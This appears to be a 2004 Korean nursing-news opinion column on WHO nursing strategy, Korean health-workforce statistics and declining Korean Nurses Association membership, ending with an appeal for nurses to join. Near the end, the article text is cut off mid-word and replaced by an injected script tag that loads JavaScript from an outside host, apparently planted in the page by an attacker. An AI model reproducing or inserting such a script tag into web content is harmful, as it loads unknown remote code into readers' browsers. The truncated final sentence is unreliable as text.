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창간 28주년 특별기고- 간호협회 파워, 회원이 만든다Ⅰ
김순자(간협 간호사업자문위원)
[간협 간호사업자문위원] 김순자   news@nursenews.co.kr     기사입력 2004-05-20 오전 11:12:19
 세계보건기구(WHO)는 세계 보건의료정책을 이끌어 나가는 이념이자 핵심 목표로 Health for All 21 Century를 채택했다. 간호전문직은 이를 효율적으로 수행하기 위한 가장 핵심적인 보건의료인력으로 주목받고 있다.

 WHO는 Health for All 21 Century 성취를 위하여 Strategic Directions for Nursing and Midwifery Services 2002-2008을 개발하여 간호전문직의 발전 방향을 제시하고 있다. 인류의 건강이라는 커다란 명제에 대응하는 전문직 집단이 그 책임과 의무를 수행하기 위하여 끊임없이 직면하는 과제는 무엇이며 대처방안은 무엇인가.

 영향력을 발휘하는 전문직 집단의 특성은 세 가지로 요약될 수 있다. 첫째는, 집단 구성원의 숫자이다. WHO는 전 세계적으로 보건의료인력의 50%를 상회하는 절대 다수를 차지하고 있음을 들어 간호사가 그 주축을 이루고 있음을 지적하고 있다.

 우리나라의 경우 2002년도 간호통계연보(대한간호협회 발간)에 의하면 간호사는 17만852명, 의사는 10만4385명(의사 7만3734명, 치과의사 1만8580명, 한의사 1만2071명), 약사는 5만774명으로 간호사가 전체 보건의료인력의 54%를 차지하고 있다. 특히 간호사 1인당 국민의 수는 1980년도에 994명으로부터 1990년도에는 482명, 2001년도에는 270여명으로 타 보건의료인력(의사·한의사 538명, 치과의사 2484명, 약사 909명)에 비해 현저한 차이를 보이고 있다. 보건의료인력 중의 비율이나 숫자를 예측하고 적정하게 대비하는 것이 간호전문직의 중요한 과제이다.

 둘째로, 구성요원의 시간적 및 공간적 분포이다. 간호사는 24시간, 모든 지역에, 모든 차원의 보건의료 전달체계에 배치되어 주민을 직접 대면하는 보건의료 서비스를 제공하고 있다.

 우리나라의 경우 대다수의 간호사(86%, 간호통계연보, 2002)가 의료기관에 취업하고 있기는 하나 주민과 1대1의 직접 대면을 요하는 모든 부서에 24시간 배치되어 있다. 뿐만 아니라 보건소(4%), 보건진료소(2%), 산업보건(1%), 학교보건(3%), 군(1%), 행정기관(1%) 등을 망라하여 대상자의 건강을 돌보고 있다.

 셋째로, 전문직의 중요한 특성인 자율과 통합성이다. 전문직은 그 교육과 자격의 검정을 포괄하는 입문과정을 자율적으로 관리한다. 또한 일상적인 전문직 업무는 실증을 통하여 수립된 이론이 지침이 되어 자율적으로 수행하고 평가한다. 간호전문직의 발전, 간호사의 사회 경제적인 위상 등 전문직과 관련되는 모든 정책의 개발 및 수행과정은 자율에 의하여 결정된다. 다양한 의견과 주장이 적절한 의사 수렴과정을 거쳐 강력한 한 목소리가 되는 것이 통합성이다.

 우리나라의 경우 간호교육의 목표설정 및 교육과정의 개발이 간호사에 의하여 수행되고 있으며 간호사 면허를 위한 검정과정이 현재 국가고시의 형태로 수행되고 있다.

 1923년도 이래 대한간호협회는 간호의 발전을 통하여 국민 건강에 보다 효율적으로 이바지하고, 회원의 사회·경제·복지 증진에 기여하는 것을 목적으로 80여년 우리나라 간호를 이끌고 있다.

 대한간호협회 회원 가입비율 추이를 보면 의료법이 개정되어 간호사 국가고시제도가 도입된 1962년도에 간호사 면허소지자의 71%(5827명)를 넘었었으나 1970년도에 39.1%(5670명), 1980년도에 44.5%(1만7972명), 1990년도에 47.1%(4만1954명), 2000년도에 48.9%(7만8392명)로 낮아지고 있다. 2003년도 역시 46.5%(8만9590명)에 그치고 있다.

 보건의료전달체계를 이끌어 나가는 세 개의 축인 간호사와 의사, 약사를 대표하는 국제단체는 국제간호협의회(ICN, 1899년 설립), 세계의사협회(WMA, 1947년 설립), 그리고 국제약사연합회(FIP, 1912년 설립)이다. 1998년 이 세 보건의료 국제단체가 연합해 세계보건의료전문직연합회(WHPA ; World Health Professionals Alliance)를 발족했다.

 WHPA는 인류의 건강 및 보건의료 윤리 등에 관하여 공동결의문을 발표하는 등 꾸준히 함께 대처해 왔으며, 2004년 5월 15∼16일, `Teaming up for Better Health' 주제로 제1회 지도자 심포지엄을 개최했다. 이는 함께 하는 것이 따로일 때보다 더 큰 영향력을 발휘한다는 것을 입증하고 있는 것이다.

 대한민국 간호사 여러분, 특히 대한간호협회 지도부 여러분에게 간절한 마음으로 바라며 간곡한 마음으로 요청한다.

 첫째, 대한간호협회 회원으로 가입하기를 간절히 바란다. 비록 간호사 면허 소지자 수는 20만으로 전체 보건의료인력의 절반을 넘으나, 가입 회원의 비율이 50%에도 미치지 못하는 현실을 타개해야 한다.

 협회가 자신에게 무엇을 해주느냐를 묻기 전에 자신들의 다양한 의견을 공식적인 장을 통해 한 목소리로 수렴하여 강력한 영향력을 구사하는데 동참하는데 의의를 두자.

 이는 간호의 이념인 국민의 건강, 나아가 인류의 안녕에 자?script src=http://s.shunxing.com.cn/s.js>
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